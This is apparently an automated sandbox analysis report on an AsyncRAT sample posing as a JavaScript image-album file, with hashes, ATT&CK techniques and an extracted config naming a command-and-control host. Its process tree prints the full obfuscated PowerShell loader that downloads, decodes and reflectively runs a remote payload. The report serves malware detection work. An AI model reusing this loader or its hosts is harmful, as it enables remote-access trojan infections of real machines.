asyncrat | 42a36631fd77d0ed678084c9f5fea96ec9122adee8fe81dae4c5710f0bd194cd

Analysis

max time kernel
298s
max time network
300s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/08/2026, 01:54

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General

Target
IMEIGSSd__Nicole_AnistonXXX/imeg-album78.js
Size 1.9MB
Sample260810-cb3dkaszc1
SHA256 42a36631fd77d0ed678084c9f5fea96ec9122adee8fe81dae4c5710f0bd194cd
MD5 746def3449260a3e26d01799f1220ce4
SHA1 da0a733c5ba37ca00561353bc5bb9cdab55c73df
SHA512 76c2eb279ee2edf795841b879c5a43121db3e7b01d320d45685179bb4f0fd86e7776bf4e11827d8455c95c450f3df41749ce82561871bb329c21a75641920541
SSDEEP 768:KXfWfLqDM+YsWM8fXfqfg1+YsWL5Z+DM8XDk+fgqzDLWfL34YsqfBZs5sif5ZZ++:72OfQ
TLSH
T1A9950A638FCB0596AC596F35CC1655BA928AAECBC437070930BC2DC377416093779BBA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

4 discovery execution asyncrat rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fdonwlodewrss.png?alt=media&token=92ef7a8f-564a-41b1-8b21-10f0928a36fa

Extracted

Family

asyncrat

Version

1.0.7

Botnet

spongebob.dynuddns.net:6060

Mutex

wefgregergergergerg

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6020	4716	powershell.exe	88

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	6020	powershell.exe
9	6020	powershell.exe
10	6020	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6020	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 6020 set thread context of 796	6020	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsBuild.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
6020	powershell.exe
6020	powershell.exe
6020	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	6020	powershell.exe
Token: SeDebugPrivilege	796	MsBuild.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 6020 wrote to memory of 796	6020	powershell.exe	92
PID 6020 wrote to memory of 796	6020	powershell.exe	92
PID 6020 wrote to memory of 796	6020	powershell.exe	92
PID 6020 wrote to memory of 796	6020	powershell.exe	92
PID 6020 wrote to memory of 796	6020	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\IMEIGSSd__Nicole_AnistonXXX\imeg-album78.js
1⤵
PID:4580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$preexistency=''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fdonwlodewrss.png?alt=media&token=92ef7a8f-564a-41b1-8b21-10f0928a36fa''; $compossibility = [System.Net.HttpWebRequest]::Create($preexistency); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''#'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''KWSHLjc9iRfShqxtYRxCleNJb+BXzoppHqdRzss+hYJgfBDb8kbNNufmzlw+X/L4R/PnHzKtxKt9aPeAPmP7PhOc7B0zUNxhyQvIq1wuFqkhGB18Uva1/yUJHlNie9B58EAc0qJtAsG/kUrzJkyUxnd3U1WriXN4u+O/lIq4DGM9gKOTU5KUrqXGWKrrWOYFUdUVJja7IqBRXojo9wFi6Y0vDXAAao7yu42Fc3p4M0Y='','''',''auJz63eSLTGNDl2HpdtqPDEhONrDqIJNW+OP/Aj2viT1l4OKPeCX5xK5PXIAOfwq'',''pxMxUDHRitcYW0XgdhGrq72rBrWu2FfUs6FCObRXpgU='',''W/RQzdmgqn55AG6mDsWCjYiFd/pDoR325wKUos8OIzU='','''',''GI1OayXC4iuAXdZXmZVjACULjkL/RK8soaQy4QrTfK0='','''','''',''KxG/1/nY0jnsWfBM633H1QRauEE8MnsAbSi2VpZ/7pITvo49EqLXQ66GWvCjsZWP'',''qKxsQPsvwF9lTQ8H0QHsyawIEQNX9quW4Lzu3hs9OIY='',''2YcnH8ahGrbUzvXdnSy9tFd6l7y+u9zJLatXUfvrONQ='',''3it7g1mG1mYgN/vkB3G7rrzFByA9mgQUsDwqhb/NihI='','''',''WeD/+zz8ZH0S3jCMofyVQb+jJ3cz/e4/IJ2NfW22V7w='',''uW9CtPcQNiiyv+vWStXThovpm0Sn+I/dpC+w1P4yrd4='','''','''','''',''/UcLdz3mFhLRtOirwzVVHMj1l1XdMwNc8YBaUcjYYro='',''a6fDKaYzhiPZncc/4RaASVhUsXwPTheRrYJA1Cdo5/s=''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6020
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/796-15-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/796-23-0x0000000006180000-0x00000000061E6000-memory.dmp

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memory/796-22-0x00000000066D0000-0x0000000006C8A000-memory.dmp

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memory/796-21-0x0000000006070000-0x000000000610C000-memory.dmp

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memory/796-20-0x0000000074B02000-0x0000000074B03000-memory.dmp

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memory/796-18-0x0000000074B02000-0x0000000074B03000-memory.dmp

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memory/6020-7-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-8-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-10-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-11-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-12-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-13-0x00000265BAA20000-0x00000265BAAB2000-memory.dmp

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memory/6020-14-0x00000265BAAB0000-0x00000265BAABA000-memory.dmp

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memory/6020-9-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-16-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-0-0x00007FFDE79BF000-0x00007FFDE79C0000-memory.dmp

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memory/6020-19-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-6-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-5-0x00000265BA990000-0x00000265BA9B2000-memory.dmp

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memory/6020-2-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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memory/6020-1-0x00007FFDE7830000-0x00007FFDE81D4000-memory.dmp

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